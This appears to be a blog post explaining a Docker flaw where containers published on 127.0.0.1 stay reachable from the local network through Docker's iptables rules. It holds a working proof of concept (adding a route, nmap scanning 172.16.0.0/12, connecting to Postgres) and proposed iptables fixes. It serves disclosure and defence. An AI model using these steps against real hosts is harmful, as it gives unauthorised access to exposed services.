Why Mapping Docker Ports to 127.0.0.1 Isn’t Secure – A Real‑World Exploit

Recently a Hacker News post highlighted a serious Docker security issue: even when a container port is published to the loopback address (e.g., -p 127.0.0.1:80:80), the service can still be reached from outside.

The cause is an iptables rule that Docker adds, which accepts traffic to the container IP regardless of the source address, making the loopback binding ineffective.

🐳 → iptables -nvL DOCKER
Chain DOCKER (2 references)
 pkts bytes target prot opt in   out source          destination
   0   0   ACCEPT tcp  -- !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:80

Consequently, an external attacker can send traffic to 172.17.0.2:80 and bypass the 127.0.0.1 restriction.

Many users mistakenly believe that publishing to 127.0.0.1 provides strong security, but in reality it offers no protection.

Proof of Concept

1. On machine A, run a PostgreSQL container and bind the port to 127.0.0.1:

# IP: 192.168.0.100
🐳 → docker run -e POSTGRES_PASSWORD=password -p 127.0.0.1:5432:5432 postgres

2. On machine B (same LAN), add a route that directs all traffic for 172.16.0.0/12 to machine A:

# IP: 192.168.0.200
🐳 → ip route add 172.16.0.0/12 via 192.168.0.100

3. Scan machine A from B:

🐳 → nmap -p5432 -Pn --open 172.16.0.0/12
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-05 15:00 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00047s latency).
PORT    STATE SERVICE
5432/tcp open  postgresql

4. Connect directly to PostgreSQL from B:

🐳 → psql -h 172.17.0.2 -U postgres
Password for user postgres:

Solution

The vulnerability is not limited to 127.0.0.1; any host address used with -p can be reached externally. The author suggested tightening Docker’s iptables rules.

1. Restrict the source address and network interface in the rule. The original rule for -p 127.0.0.1:5432:5432 is:

Chain DOCKER (2 references)
 pkts bytes target prot opt in   out source          destination
   0   0   ACCEPT tcp  -- !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:5432

Improved rule limiting access to the loopback interface:

Chain DOCKER (2 references)
 pkts bytes target prot opt in   out source          destination
   0   0   ACCEPT tcp  -- lo docker0 127.0.0.1/8 172.17.0.2 tcp dpt:5432

If the host address is, for example, 192.168.0.100/24, the rule should be:

Chain DOCKER (2 references)
 pkts bytes target prot opt in   out source          destination
   0   0   ACCEPT tcp  -- eth0 docker0 192.168.0.0/24 172.17.0.2 tcp dpt:5432

2. Change Docker’s default behavior so that when -p is used without an explicit IP, it binds to 127.0.0.1 by default.

While users can add custom iptables rules, the practical fix is for Docker to correct the bug and release an updated version.